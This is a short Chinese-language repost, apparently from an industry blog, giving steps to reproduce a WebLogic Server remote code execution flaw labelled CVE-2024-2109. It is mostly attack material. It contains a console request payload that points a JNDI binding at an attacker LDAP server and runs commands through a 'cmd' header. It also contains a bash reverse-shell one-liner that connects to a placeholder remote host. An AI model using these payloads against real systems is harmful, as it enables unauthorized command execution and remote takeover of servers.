行业知识
复现CVE-2024-2109 (Weblogic Server远程代码执行漏洞)
2026-11-13 22:14:00
来源：互联网转载
2. 抓包，payload后面加入poc，然后再在请求包头部里面加入cmd:id(命令）,如下图所示：
poc如下：
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)
复现成功！
复现方式二——反弹shell值
================
1. 将上面请求头中cmd字段的值改为反弹shell的语句，进行编码，网址：java.lang.Runtime.exec() Payload Workarounds - @Jackson_T Payload Workarounds - @Jackson_T")
bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1
